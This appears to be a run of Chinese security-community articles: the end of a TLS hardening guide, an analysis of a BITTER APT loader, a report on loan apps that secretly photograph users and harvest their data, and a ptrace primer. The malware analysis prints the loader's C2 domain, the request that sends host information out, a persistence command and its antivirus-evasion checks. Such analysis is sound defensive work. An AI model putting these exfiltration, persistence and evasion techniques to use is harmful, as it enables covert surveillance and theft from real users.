v3及更高版本的协议版本中，客户端提交他们支持的密码套件列表，服务器从列表中选择一个用于连接的套件。然而，并不是所有的服务器都做得很好，有些将从客户端列表中选择第一个支持的套件。使服务器主动选择最佳可用加密套件对于实现最佳安全性至关重要。
#### 2.5 使用 FS
前向保密（有时也称为完全前向保密）是一种协议功能，可实现不依赖服务器私钥的安全对话。对于不提前向保密的密码套件，可以恢复服务器的私钥的人就可以解密所有较早记录的加密对话（也就是可以先大量记录密文，再解密，比如您的证书到期后没有正确销毁，它的私钥就能用来解密非PFS的密文）。您需要支持并喜欢
ECDHE 套件，以便通过现代网络浏览器实现前向保密。为了支持更广泛的客户，您还应该使用 DHE 套件作为 ECDHE 后备。避免 RSA
密钥交换，除非绝对必要。我在2.3节中提出的默认配置只包含提供前向保密的套件。
#### 2.6 使用强的密钥交换算法
对于密钥交换，公共站点通常可以选择经典的短暂的 Diffie-Hellman密钥交换（DHE）和其椭圆曲线变体
ECDHE。还有其他的密钥交换算法，但是它们通常是以某种方式不安全的。RSA 密钥交换仍然很受欢迎，但不提供前向保密。
2015 年，一批研究人员发表了对 DHE 的新攻击; 他们的工作被称为Logjam 攻击。[2] 研究人员发现，较低强度的 DH 密钥交换（例如768
位）容易被破坏，一些知名的 1024 位 DH 组可被国家机构破坏。为了安全起见，如果部署 DHE，请至少配置 2048
位的安全性。一些较老的客户端（例如Java 6）可能不支持这种强度。出于性能原因，大多数服务器应该更喜欢
ECDHE，这是更强大和更快。在这种情况下，secp256r1命名曲线（也称为 P-256）是一个很好的选择。
#### 3 减轻已知问题
近几年来已经发生了几次严重的 SSL 和 TLS 攻击，但是如果您正在运行最新的软件并遵循本指南的建议，那么它们通常不会关心您。（如果没有，我建议您使用
MYSSL 测试您的系统，并从中进行测试）。但是，没有什么是完全安全的，所以为了保持对安全性的了解，这是一个很好的做法。如果供应商补丁可用，请及时提供;
否则，依靠解决方案进行缓解。
### 4 性能
安全是我们在本指南中的主要重点，但我们也要注意表现; 一个不符合性能标准的安全服务无疑将被丢弃。通过正确配置，TLS 可以相当快。使用现代协议（例如
HTTP/2），甚至可能比明文通信更快。
#### 4.1 避免过度安全
用于建立安全连接的密码握手是一种操作，其费用受私钥大小的高度影响。使用太短的密钥是不安全的，但使用太长的密钥将导致“太多”的安全性和缓慢的操作。对于大多数网站，使用超过
2048 位的 RSA 密钥和强大于 256 位的 ECDSA 密钥会浪费 CPU 功耗，并可能会损害用户体验。类似地，增加短暂密钥交换的强度对于 DHE
为 2048 位以及 ECDHE 为 256 位几乎没有什么好处。使用高于 128 位的加密没有明显的好处。
#### 4.2 使用 session 恢复
会话恢复是一种性能优化技术，可以节省昂贵的密码操作的结果，并重复使用一段时间。残疾或非功能性会话恢复机制可能会引起显着的性能损失。
#### 4.3 使用 WAN 优化和 HTTP/2
这些天，TLS 开销不是来自 CPU 饥饿的加密操作，而是来自网络延迟。只有在 TCP
握手完成后才能启动TLS握手，需要进一步交换数据包，并且离开服务器的距离更远。最小化延迟的最佳方法是避免创建新的连接 -换句话说，保持现有的连接长时间（keep-alives）。提供良好结果的其他技术包括支持现代协议（如HTTP /
2）和使用WAN优化（通常通过内容传送网络）。
#### 4.4 隐藏公共内容
通过TLS进行通信时，浏览器可能会认为所有流量都是敏感的。它们通常会使用内存来缓存某些资源，但一旦关闭浏览器，所有内容可能会丢失。为了获得性能提升，并能够长期缓存一些资源，将公共资源（例如图像）标记为公开。
#### 4.5 使用 OCSP Stapling
OCSP 装订是 OCSP 协议的扩展，可以直接从服务器提供撤销信息作为 TLS 握手的一部分。因此，客户端不需要联系 OCSP
服务器进行带外验证，并且总体 TLS 连接时间显着减少。OCSP 装订是一种重要的优化技术，但您应该注意，并不是所有的网络服务器都提供了可靠的 OCSP
装订实现。结合具有缓慢或不可靠的 OCSP 响应者的 CA，这样的 Web
服务器可能会产生性能问题。为了获得最佳效果，请模拟故障条件，看看它们是否会影响您的可用性。
#### 4.6 使用快速加密
除了提供最佳的安全性，我推荐的密码套件配置也提供了最好的性能。尽可能使用支持硬件加速 AES 的
CPU。之后，如果您真的想要进一步的性能优势（大多数网站可能不需要），请考虑使用 ECDSA 密钥。
### 5 HTTP 和 应用安全
HTTP 协议和 Web 应用交付的周边平台在 SSL
诞生后继续快速发展。作为这一进化的结果，该平台现在包含可用于打败加密的功能。在本节中，我们列出了这些功能，以及安全使用它们的方法。
#### 5.1 加密无处不在
加密是可选的事实可能是今天最大的安全问题之一。我们看到以下问题：
* 没有 TLS 需要它的网站
* 具有 TLS 但不执行 TLS 的站点
* 混合 TLS 和非 TLS 内容的网站，有时甚至在同一网页内
* 编程错误的网站会颠覆 TLS
尽管如果您确切了解您正在做的事情，许多这些问题可以被缓解，可靠地保护网站通信的唯一方法是无一例外地执行加密。
#### 5.2 消除混合内容
混合内容页面是通过 TLS 传输但是包含不通过 TLS 传输的资源（例如，JavaScript 文件，images，CSS
文件）的页面。这样的页面不安全。一个活跃的中间人（MITM）攻击者可以搭载一个单独的未受保护的 JavaScript
资源，例如劫持整个用户会话。即使您遵循上一节的建议并对整个网站加密，您仍然可能会最终从第三方网站中检索未加密的一些资源。
#### 5.3 使用可信第三方
网站通常使用通过从另一个服务器下载的 JavaScript 代码激活的第三方服务。这种服务的一个很好的例子是 Google Analytics（分析），用于
Web
的大部分。这种包含第三方代码创建一个隐含的信任连接，有效地使对方完全控制您的网站。第三方可能不是恶意的，但是这些服务的大型提供商越来越被视为目标。推理很简单：如果大型提供程序受到威胁，攻击者将被自动访问所有依赖该服务的站点。
如果您遵循第4.2节的建议，至少您的第三方链接将被加密，从而避免 MITM
攻击。但是，您应该进一步了解：了解您使用的服务和删除服务，将其替换为更安全的替代方案，或接受其继续使用的风险。一种称为子资源完整性（SRI）的新技术可用于通过第三方资源来减少潜在的风险。[3]
#### 5.4 安全 cookie
要正确安全，网站需要 TLS，而且所有的 Cookie 在创建时都被明确标记为安全的。未能保护 cookies 可以让活跃的 MITM
攻击者通过聪明的技巧来挑逗一些信息，即使在 100％ 加密的网站上也是如此。为了获得最佳效果，请考虑为您的 Cookie 添加加密完整性验证或甚至加密。
#### 5.5 安全 HTTP 压缩
2012 年 CRIME 攻击显示 TLS 压缩无法安全实施。唯一的解决方案是完全禁用 TLS 压缩。次年，随后再发生两次攻击。TIME 和 BREACH
专注于使用 HTTP 压缩压缩的 HTTP 响应实体中的秘密。与 TLS 压缩不同，HTTP
压缩是必需的，不能关闭。因此，为了解决这些攻击，需要对应用程序代码进行更改。[4]
TIME 和 BREACH 攻击并不容易实现，但是如果某人有足够的动力使用它们，则这种影响大致相当于成功的跨站点请求伪造（CSRF）攻击。
#### 5.5 部署 HSTS
HTTP 严格传输安全（HSTS）是 TLS 的安全网。它旨在确保即使在配置问题和实施错误的情况下，安全性仍然保持不变。要激活 HSTS
保护，您可以向您的网站添加一个新的响应头。之后，支持 HSTS（此时所有现代浏览器）的浏览器执行它。
HSTS
的目标很简单：激活后，它不允许与使用它的网站进行任何不安全的通信。通过自动将所有明文链接转换为安全的链接，实现了这一目标。作为奖励，它还会禁用点击式证书警告。（证书警告是活动的
MITM 攻击的指标，研究表明大多数用户点击这些警告，所以绝对不要让他们感兴趣）。
添加对 HSTS 的支持是您可以为您的网站的 TLS 安全性做出的最重要的改进。新站点始终应设计为
HSTS，旧站点转换为尽可能快地支持。为了获得最佳安全性，请考虑使用 HSTS
预加载[5]，将HSTS配置嵌入到现代浏览器中，从而使您的网站的第一个连接安全。
以下配置示例将在主主机名及其所有子域上激活一段时间为一年的 HSTS，同时还允许预加载：
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#### 5.6 部署 CSP
内容安全策略（CSP）是网站可以用来限制浏览器操作的安全机制。尽管最初旨在解决跨站点脚本（XSS），CSP
不断发展，并支持对增强TLS安全性有用的功能。特别地，它可以用于限制混合内容，当涉及到第三方网站，HSTS没有帮助。
要部署CSP以防止第三方混合内容，请使用以下配置：
Content-Security-Policy: default-src https: 'unsafe-inline' 'unsafe-eval';
connect-src https: wss:
> 注意
> 这不是部署 CSP 的最佳方法。为了提供不破坏混合内容以外的任何内容的示例，我不得不禁用某些默认安全功能。随着时间的推移，当您了解 CSP
> 的更多信息时，您应该更改您的策略以使其恢复。
### 5.7 不要缓存敏感内容
所有敏感内容必须仅传达给预定方，并由所有设备进行相应处理。虽然代理没有看到加密的流量，并且不能在用户之间共享内容，但是使用基于云的应用交付平台正在增加，这就是为什么在指定什么是公共的时候需要非常小心的是什么。
#### 5.8 考虑其它威胁
TLS 旨在仅解决安全机密和您与用户之间通信的完整性的一个方面，但还有许多其他威胁需要处理。在大多数情况下，这意味着确保您的网站没有其他弱点。
### 6 验证
有许多配置参数可用于调整，预先知道某些变化会产生什么影响。此外，有时会意外地进行更改; 软件升级可以静默地引入更改。因此，我们建议您最初使用全面的
SSL/TLS 评估工具来验证您的配置，以确保您开始安全，然后定期确保您保持安全。对于公共网站，我们建议您免费使用SSL实验室服务器测试。[6]
### 6.1 高级主题
以下高级主题目前不在我们的指南范围之内。他们需要更深入地了解 SSL/TLS 和公钥基础设施（PKI），而且他们仍然被专家辩论。
#### 6.2 使用 HPKP
公共密钥固定旨在使网站运营商有权限制哪些 CA 可以为其网站颁发证书。Google
已经部署了这个功能了一段时间（硬编码到他们的浏览器，Chrome），并且已被证明是非常有用的，以防止攻击并使公众了解它们。在 2014 年，Firefox
还增加了对硬编码固定的支持。现在可以使用一种称为 HTTP [7]的公钥固定扩展标准。公钥绑定解决了 PKI 最大的弱点（事实上，任何 CA
都可以为任何网站发布证书），但是这是一个成本;
部署需要大量精力和专业知识，并造成失去对您站点控制的风险（如果最终导致无效的固定配置）。你应该考虑固定很大程度上只有当你
#### 6.2 使用 DNSSEC 和 DANE
域名系统安全扩展（DNSSEC）是一种增加域名系统完整性的技术。今天，一个活跃的网络攻击者可以轻松地劫持任何 DNS 请求并伪造任意的响应。使用
DNSSEC，所有响应都可以加密地跟踪到 DNS 根目录。命名实体的基于 DNS 的身份验证（DANE）是建立在 DNSSEC 之上的单独标准，用于提供
DNS 和 TLS 之间的绑定。DANE 可用于增强现有基于 CA 的 PKI 生态系统的安全性，或者完全绕过它。
即使不是每个人都同意，DNSSEC 是互联网的一个很好的方向，但对其的支持仍在继续改善。浏览器还不支持 DNSSEC 或 DANE（更喜欢 HSTS 和
HPKP 提供的类似功能），但有一些迹象表明它们正在开始用于提高电子邮件传递的安全性。 | 社区文章 |
# 蔓灵花（BITTER）一个新版本的Loader分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在日常刷twitter时，发现黑鸟大佬发了一个Bitter的样本md5。由于笔者之前也大概的看过bitter的相关样本，想着这个可能是新版本的bitter，于是下载回来分析一下。
首先在VT查询一下该样本的hash，根据VT的情报可知样本原名为WinUpdate，并且上传时间就是2020年8月17，时间挺新的，不知道样本是不是新样本。
目前，VT上没有杀软将其标记为bitter，分析看看。
## 0x01 行为检测
将样本下载到本地之后，重命名为WinUpdate.exe，然后通过火绒剑监控该样本的行为。
样本启动之后，过了一段时间才有后续的行为， 猜测是样本中有一个sleep用于过沙箱。
将注册表信息过滤之后，可以看到程序首先是在启动项下创建了一个名为winup.lnk的快捷方式
然后程序copy自身到了%appdata%下的<sendto>目录下。
快捷方式的target值如下：
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\SendTo\winupd.exe
可以看到，这个快捷方式就是用于启动这个复制之后的winupd.exe
powershell查看一下这个winupd.exe的md5：
文件hash与原文件保持一致，确定是直接复制过来的。
## 0x02 代码分析
### WinMain入口点
其实代码一打开，就可以很明显的看出来，这就是Bitter家族的loader样本了，跟老样本几乎一样，但是既然打开了，就顺便分析分析，之前也只是大概看了下，没有完整的分析这个马的实现。
IDA加载样本，可以看到程序由VC编译，有标准的winMain函数，在Main函数进来，程序首先是调用了两次LoadStringA函数从资源加载WindowName和ClassName。两个串的编号分别是67H和6dh，两个缓冲区长度都是64h。
load的String分别是LiveDN 和 LIVEDN
LoadString的操作结束之后，程序调用了sub_4012D0，这里可以看到，这个函数并没有什么实际意义，可以直接跳过。
然后根据刚才获取到的信息CreateWindow
如果CreateWindowEx操作失败，程序则会跳转到loc_401104，退出执行。
跟最开始猜测是一致，程序中有多个sleep
函数，并且每次sleep的时间不同。这里首先是sleep45s，然后尝试通过WSAStartup初始化，如果初始化成功，则继续sleep15s。接下来调用了函数sub_402B00
### sub_402B00-字符串解密
进来之后，很明显是循环解密字符串的函数：
我们直接调试器过来走一波
为了方便调试，需要首先找到sleep函数的调用地方，手动将sleep函数给patch了。这里直接过去吧每个sleep函数的参数修改为0然后x64dbg打补丁即可。
修改之后打上补丁，然后修补文件，重新加载即可。
过来之后调试器看一下就知道，原始的字符串存放在这里edx指向的位置，并且每个字符串都是按照100的偏移存储的
注意看地址，解密之后，将字符串存储在原来的位置：
分别跑下来，解密出的所有的字符串如下：
Winupd
.exe
avp
SOFTWARE\Microsoft\Windows\CurrentVersion\Ru
temp
cmd /c start
%tempf% && exit
Environment
GET /RsdvgiMincSnyYu/
HTTP/1.1\r\nHost
box.livevideosonlinepk[.]com
\nConnection: close\r\n\r\n
erHyPfilbmiw1.php?
bvrussw45io90.php?
aerb5vfjytv20.php?
通过分析这些字符串，其实已经可以把这个马的基本功能猜的八九不离十了。
首先，Winupd.exe是程序名，结合后面的SOFTWARE\Microsoft\Windows\CurrentVersion\Ru
猜测后面成功应该是会将这个文件的路径作为注册表键值写入到开机自启动项中。
C2的域名应该是box.livevideosonlinepk[.]com，样子是一个php服务器，接受get参数，并且有多个应答页面。
但这些目前还只是猜测，接下来去找找具体的代码实现，证明上面的猜想。
字符串解密之后，程序首先手通过GetModuleFileName获取当前的完整路径名，然后创建一个信号量，调用GetLastError判断返回值是否是0B7，也就是183.
这里返回的0b7也就是183，表示信号量已经存在，这里应该也是用这种方式来防止多开。
如果返回值不为183，程序则跳转到loc_40111d继续执行，否则说明程序已经运行，则结束本次运行。
过来loc_40111d字后，程序首先是调用了sub_402ee0，然后操作了一些之前解密的字符串。
sub_402EE0-杀软检测
sub_402ee0进来之后，程序多洗调用了su_401590函数，通过查看，可以知道这里是在遍历进程信息。
遍历当前的进程，寻找包含了avp的进程。
如果最后成功找到目标进程，则会跳转到后面去返回1，否则通过xor al,al的操作返回0
返回回来之后，程序马上会判断al的值，如果al为1，说明找到了指定进程，则程序会退出当前函数，否则jnz到下面继续执行
接下来，程序又会调用一次Rename_ergodic_Proc函数，这次是尝试去查找Avast相关的进程。
原来这个函数是用于排查杀软的，这个时候我才后知后觉的去查avp.exe到底是个啥，原来是卡巴的杀软名称。怪自己之前对各家的杀软主名称不太熟，以后遇到就知道了！
回到IDA交叉引用一下，推测程序可能是过滤了9款杀软。
测试一下，出了卡巴的avp.exe和Avast.exe，程序还会尝试去查找以下几款杀软：
AVG
sophos
SAVAD
这几个杀软检测完之后，程序就退出了402EE0函数，返回出来继续调用Rename_ergodic_Proc函数进行进程遍历，但是这里的参数是aVgkqk这个参数，这个参数有印象，因为在上面是调用解密函数解密的，解密出来应该是winupd，所以程序在这里应该是判断是否存在包含winupd的进程了，这个函数只是单纯的进程遍历和查找函数，sub_402EE0是杀软检测函数。
果然，第一个遍历查找winupd
然后第二个遍历又是查找avp，卡巴的杀软：
然后根据条件跳转到不同的地方继续执行。这里是会跳转到loc_40118D。等下再回去看看如果检查到卡巴杀软，程序会做什么，先跟着流程往下走。
来到loc_40118D之后，程序会获取指定的路径，然后在后面实现文件拷贝的操作。
### 信息获取
在实现CopyFile之前，程序还调用了两个函数，分别是sub_401B20和sub_4019D
首先是sub_401B20，这个函数用于获取计算机的一些基本信息
然后将获取到的这些信息全部拼接起来：
正在拼接
### 网络请求
然后下面这个004019D0函数应该就是用于网络请求相关的函数了
尝试通过getaddrinfo获取C2的地址
考虑到可能会获取失败，程序这里会通过一个循环+sleep，一直调用19d0这个函数去解析C2地址。
手动修改之后跳转下来，程序会尝试将之前获取到本地信息发送到C2的指定地址去了。
请求完整参数为：ecx:”GET
/RsdvgiMincSnyYu/PerHyPfilbmiw1.php?info=ssss[@WIN](https://github.com/WIN
"@WIN")-IHN30SD7IMB[@xxx](https://github.com/xxx
"@xxx")[@Windows7HomeBasic](https://github.com/Windows7HomeBasic
"@Windows7HomeBasic")-w1-@-@”
在这里的00401CC0函数中就是进行网络请求了
搞清楚了这个函数的功能，将其重命名为ReName_SendData，ReName_SendData函数调用之后，在下面会执行一个永真循环，循环中调用的函数我们之前的分析过了，就是获取C2指定地址，然后请求C2
### 下载后续样本
经过分析，发现sub_401FC0函数是关键函数
接受服务器返回并写入文件：
最后通过ShellExecuteA执行下载回来的文件。
### 卡巴杀软检测部分
之前我们提到，样本在检测到卡巴的杀软之后有几个操作，但是当时我们绕过去了，现在回去看看。
回到逻辑检测部分的代码：
这里是先判断了查找当前进程名的返回值，应该是用于判断样本的名字是否是指定的winupd，如果是，则说明程序之前已经被启动过了，这里相当于一个校验。接着程序判断是否找到了卡巴的杀软进程，然后执行不同的操作。
首先来看一下第一个操作，根据之前的行为分析，可以知道样本有一个关键行为就是复制自身到sento目录，然后创建一个指向该文件的快捷方式到启动项中。
如果程序的名字不包含winupd：
文件拷贝过去：
最后再来看一下，如果检查到卡巴杀软会怎么做。
如果检测到卡巴杀软，程序则解密一个cmd命令
cmd /c start %tempf% && exit
然后将这里的n和之前解密出来的SOFTWARE\Microsoft\Windows\CurrentVersion\Ru拼接起来，设置开机自启动项目。
设置的键值就是cmd /c start %tempf% && exit
这里这个命令猜测是用于退出自身的，好奇为什么检测了两次卡巴然后退出。
笔者找到了之前的一个bitter的loader样本，经过分析之后发现老版本的loader 注册表这里是将自身写入成开机自启动。
## 0x03 总结
经过分析，这个样本结构，代码，操作，基本和之前的样本一样。但还是能看的出来有一些代码的改进。
1. a. 样本运行后，首先会解密一系列后面会用到的字符串
2. b. 样本会在2EE0函数中检测杀软，目前看到的是检测avp.exe、Avast.exe，AVG、sophos、SAVAD
3. c. 样本会判断当前的进程中是否包含了winupd，同时再次检测avp.exe，如果程序名包含了winupd则说明程序不是第一次运行，如果没有包含则说明可能是第一次运行，程序则会尝试将自身赋值到sento目录并在启动目录下创建一个快捷方式指向该文件。如果程序检测到了avp进程，即卡巴杀软，样本会创建一个开机启动的注册表执行cmd /c start %tempf% && exit
4. d. 环境检测、软件检测完成之后，样本会开始网络请求，请求的内容是本地主机的一些基本信息，包括机器名，操作系统版本号，是否为管理员，木马版本号等。
5. e. 尝试从C2服务器读取数据，写入本地文件并加载执行。 | 社区文章 |
# 移动应用的“隐私之殇”：非法窃取用户信息再敲警钟
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**移动互联网时代，移动应用内保存的个人隐私数据信息愈加丰富，在这个极具诱惑力的市场中，利益驱使之下违规操作层出不穷，非法窃取用户隐私泛滥成风。**
近日，360安全大脑监测到，在金融类移动软件中，存在一批具有隐秘拍照行为的软件鱼目混珠，以提供借贷服务之名，悄无声息进行隐私非法收集行为，隐私安全如履薄冰。
**1**
## 静默偷拍+明文上传
## 非法获取用户隐私“手段”再升级
据360安全大脑监测数据显示，截至今年6月中旬，共发现信用袋、给你花、呗呗花等9款软件，捕获90个样本。
相比以往，这9款软件“偷盗”手段略有不同，除了非法收集用户敏感通讯数据外，还会尝试对用户面部图像进行静默偷拍与上传。
软件名称与功能
**手法一：静默偷拍， 悄无声息获取隐私信息**
经深入分析发现，这类借贷软件都用了同样的操作手法，常规启动登陆页面，然后停留输入信息，最后登录主页面，这个过程中进行“偷拍”，悄无声息获取个人信息。
图1 信用袋登录页面
这类软件都借助了开源的无预览拍照工具AndroidHiddenCamera进行静默偷拍，用户打开登录界面后，这款工具便会开启“非法之路”，先检测手机机型，然后根据机型调用前置或后置摄像头，最后进行静默拍照，也不会发出提示音与闪光，轻松躲避用户感知。
当然，手机型号不同，也决定了选择不同。该类软件在静默拍照时首选前置摄像头偷拍用户面部图像，只有检测到某些具有升降摄像头的特定机型才会使用后置摄像头，例如OPPO
k3、VIVO x27等。
**而针对具有升降摄像头的手机，这类软件会避开采集面部图像，以免摄像头升起让用户有所察觉，达到偷拍目的。**
检测机型确定摄像头类型
静默拍摄的图片名称为a.jpg，保存在用户手机SD卡中以软件名全拼命名的文件夹下，如“信用袋”的图片保存路径为：/sdcard/xinyongdai/camera/a.jpg。如果路径下有同名文件存在不会进行覆盖。
当用户身份认证成功后，该图片会被私自上传至指定服务器，可谓是不费吹灰之力实现一树百获。
**手法二：明文上传，敏感数据被“盗取”**
值得一提的是，除偷拍用户面部图像外，这类借贷软件毫无限制、“扫荡式”地采集用户的各种敏感通讯与网络数据，包括用户短信、通话记录、通讯录、接入网络等，进行非法收集与明文上传。
**用户登录成功后必须先完成多重认证才能进行借款操作，借助认证，这类软件乘机收集用户短信、通话记录与安装软件列表，并将这些个人敏感信息连同认证时上传的身份证照片一并明文发送至指定服务器。**
主功能界面与认证页面
在这一环节，与身份认证同步进行的隐私非法收集与明文上传过程同样让用户无任何感知，且在首页、认证页与个人页都看不到隐私声明，环环相扣，不留痕迹，其贼心不言而喻。
**2**
## 溯源追踪“一锅端”
## 多款借贷软件暴露“狼子野心”
360安全大脑溯源分析发现，该类软件中部分软件的隐私回传服务器域名xinxinshuju.com，可以确定非法收集用户隐私的目标单位——湖南新薪时代信用服务有限公司。据该公司官网业务与官方介绍，其主要从事海外金融APP开发。
图3 新薪时代公司官网
除“给你花”、“信用袋”、“呗呗花”9款具有静默拍照行为的软件外，还有5款为该公司非法收集用户隐私的软件，这些软件同样都是借贷软件，虽然没有集成静默拍照功能，但同样存在用户无感知的隐私非法收集行为。
**3**
## 移动软件滥用隐私仍难自持
## 对标“红线”共耕指尖安全“责任田”
自移动金融行业兴起至今，360安全大脑始终对金融类软件隐私收集保持着高度关注，截至此次新薪时代信用服务有限公司事件的披露，共发现上千款有着隐私不当收集行为的金融类软件，其中以借贷软件为主。
金融类软件出于业务风控特性，往往需要采集部分用户数据，但无克制不受限采集与静默采集现象却在金融类软件中泛滥。
**可见，在大数据与个人隐私边界模糊的时代，五花八门的软件早已成为狼豺虎豹争相抢夺的“潘多拉之盒”，借贷软件中招仅是恶意软件权限滥用的冰山一角，因此，强烈的监管风暴也随之刮起。**
在立法层面，《网络安全实践指南——移动互联网应用基本业务功能必要信息规范》、《App违法违规收集使用个人信息行为认定方法》先后出台，明确了未公开收集使用规则；未明示收集使用个人信息的目的、方式和范围等6项认定准则，包含31种场景。
当然，面对此种现状，企业、用户、应用市场与安全厂商等都应在相关法律法规“红线”之内，承担社会责任，共同保护隐私安全。
1. 企业应严格遵守相关法律法规的规定获取隐私授权与进行隐私采集，对自身作为第三方或有其他第三方参与的场景，按规定明确彼此责任与义务并严格执行，做到用户隐私规范采集、合理使用、谨慎共享；
2. 用户作为隐私窃取APP最终受损方，应谨慎授予隐私权限和许可隐私声明，尽可能从可信应用市场下载APP，安装并及时更新杀毒软件；
3. 应用市场作为APP渠道方，必须对隐私类APP审核上架严格把关，从市场源头控制可能威胁用户隐私安全的APP进入市场；完善举报制度，及时控制问题APP继续传播；
4. 安全厂商应结合新技术完善检测机制，尽快发现存在隐私不规范采集行为的APP，并协助相关部门、应用市场、企业等参与方共同控制问题APP进一步传播。
**360烽火实验室**
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。
作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。
实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# Linux沙箱入门——ptrace从0到1
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
本文是在linux系统角度下，对ptrace反调试进行底层分析，使我们更清楚的看到一些底层原理的实现，更好的理解在逆向工程中的一些突破口，病毒怎么实现代码注入，本文还将列出一些常见的攻防手段，分析其原理，让我们一同见证见证茅与盾激情对决！
## 什么是ptrace？
如果了解过逆向工程的小伙伴，肯定对这个ptrace不陌生，因为这是反调试技术中的基础入门手段，虽然现在诸如代码虚拟化之类的其他防逆向技术已经很成熟了，但是ptrace仍然是一些商业软件产品中使用，也是我们入门反调试所必须的基础技术！
ptrace在linux 反调试技术中的地位就如同nc在安全界的地位，瑞士军刀啊!
ptrace使用场景：
1. 编写动态分析工具，如gdb,strace
2. 反追踪，一个进程只能被一个进程追踪( _注：一个进程能同时追踪多个进程_ )，若此进程已被追踪，其他基于ptrace的追踪器将无法再追踪此进程，更进一步可以实现子母进程双线执行动态解密代码等更高级的反分析技术
3. 代码注入，往其他进程里注入代码。
4. 不退出进程，进行在线升级。
### 简介：
Ptrace 可以让父进程控制子进程运行，并可以检查和改变子进程的核心image的功能（Peek and poke
在系统编程中是很知名的叫法，指的是直接读写内存内容）。ptrace主要跟踪的是进程运行时的状态，直到收到一个终止信号结束进程，这里的信号如果是我们给程序设置的断点，则进程被中止，并且通知其父进程，在进程中止的状态下，进程的内存空间可以被读写。当然父进程还可以使子进程继续执行，并选择是否忽略引起中止的信号，ptrace可以让一个进程监视和控制另一个进程的执行,并且修改被监视进程的内存、寄存器等,主要应用于断点调试和系统调用跟踪，strace和gdb工具就是基于ptrace编写的！
ptrace()其实是linux的一种系统调用，所以当我们用gdb进行attach其他进程的时候，需要root权限。
### 基本原理：
在Linux系统中，进程状态除了我们所熟知的TASK_RUNNING，TASK_INTERRUPTIBLE，TASK_STOPPED等，还有一个TASK_TRACED，而TASK_TRACED将调试程序断点成为可能。
1. **R (TASK_RUNNING)，可执行状态。**
2. **S (TASK_INTERRUPTIBLE)，可中断的睡眠状态。**
3. **D (TASK_UNINTERRUPTIBLE)，不可中断的睡眠状态。**
4. **T (TASK_STOPPED or TASK_TRACED)，暂停状态或跟踪状态。**
当使用了ptrace跟踪后，所有发送给被跟踪的子进程的信号(除了SIGKILL)，都会被转发给父进程，而子进程则会被阻塞，这时子进程的状态就会被系统标注为TASK_TRACED，而父进程收到信号后，就可以对停止下来的子进程进行检查和修改，然后让子进程继续运行。
#### 那么什么是进程信号？
一个信号就是一条小消息，它通知进程系统中发生了一个某种类型的事件，信号是多种多样的，并且一个信号对应一个事件，这样才能做到当进程收到一个信号后，知道到底是一个什么事件，应该如何处理（但是要保证必须识别这个信号），个人理解信号就是操作系统跟进程沟通的一个有特殊含义的语句吧
我们可以直接通过kill -l 来查看信息的种类
一共62种，其中1~31是非可靠信号，34~64是可靠信号(非可靠信号是早期Unix系统中的信号，后来又添加了可靠信号方便用户自定义信号，这二者之间具体的区别在下文中会提到)
#### ptrace函数的定义
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
一共有四个参数：
* `request`: 表示要执行的操作类型。//反调试会用到`PT_DENY_ATTACH`，调试会用到`PTRACE_ATTACH`
* `pid`: 要操作的目标进程ID
* `addr`: 要监控的目标内存地址
* `data`: 保存读取出或者要写入的数据详情请参看man手册<https://man7.org/linux/man-pages/man2/ptrace.2.html>
#### ptrace函数的内核实现：
ptrace的内核实现在`kernel/ptrace.c`文件中，直接看内核接口是SYSCALL_DEFINE4(ptrace, long,
request, long, pid, unsigned long, addr, unsigned long, data)，代码如下：
SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,unsigned long, data)
{
struct task_struct *child;
long ret;
if (request == PTRACE_TRACEME)
{
ret = ptrace_traceme();
if (!ret)
arch_ptrace_attach(current);
goto out;
}
child = ptrace_get_task_struct(pid);
if (IS_ERR(child))
{
ret = PTR_ERR(child);
goto out;
}
if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) {
ret = ptrace_attach(child, request, addr, data);
/*
* Some architectures need to do book-keeping after
* a ptrace attach.
*/
if (!ret)
arch_ptrace_attach(child);
goto out_put_task_struct;
}
ret = ptrace_check_attach(child, request == PTRACE_KILL ||request == PTRACE_INTERRUPT);
if (ret < 0)
goto out_put_task_struct;
ret = arch_ptrace(child, request, addr, data);
if (ret || request != PTRACE_DETACH)
ptrace_unfreeze_traced(child);
out_put_task_struct:
put_task_struct(child);
out:
return ret;
}
从中可以看到整个代码逻辑比较简单，其中对PTRACE_TRACEME和PTRACE_ATTACH 是做特殊处理的，其他的就是对cpu架构的相关的了。
## ptrace使用场景：
### 1.调试：
因为进行一次逆向工程的时候，会对程序进行动态断点调试，来帮助我们跟进我们关注的切入点，因为要让人脑来进行推演一大长串汇编指令运行结果显然是不可能，所以我们就需要让机器来代替我们运算，我们只需要在合适的节点下断点，来观察。
而prtace既能用作调试，也能用作反调试，当传入的request不同时，就可以切换到不同的功能了
#### 原理：
当传入的request参数为PTRACE_ATTACH，就会起到调试功能
在使用`ptrace`之前需要在两个进程间建立追踪关系，其中trace可以不做任何事，也可使用`prctl`和`PTRACE_TRACEME`来进行设置，ptrace编程的主要部分是tracer，它可以通过附着的方式与tracee建立追踪关系，建立之后，可以控制tracee在特定的时候暂停并向tracer发送相应信号，而tracer则通过循环等待`waitpid`来处理tracee发来的信号，如下图所示:
#### 建立追踪关系
在进行追踪前需要先建立追踪关系，相关request有如下4个：
PTRACE_TRACEME：tracee表明自己想要被追踪，这会自动与父进程建立追踪关系，这也是唯一能被tracee使用的request，其他的request都由tracer指定。
PTRACE_ATTACH：tracer用来附着一个进程tracee，以建立追踪关系，并向其发送SIGSTOP信号使其暂停。
PTRACE_SEIZE：像PTRACE_ATTACH附着进程，但它不会让tracee暂停，addr参数须为0，data参数指定一位ptrace选项。
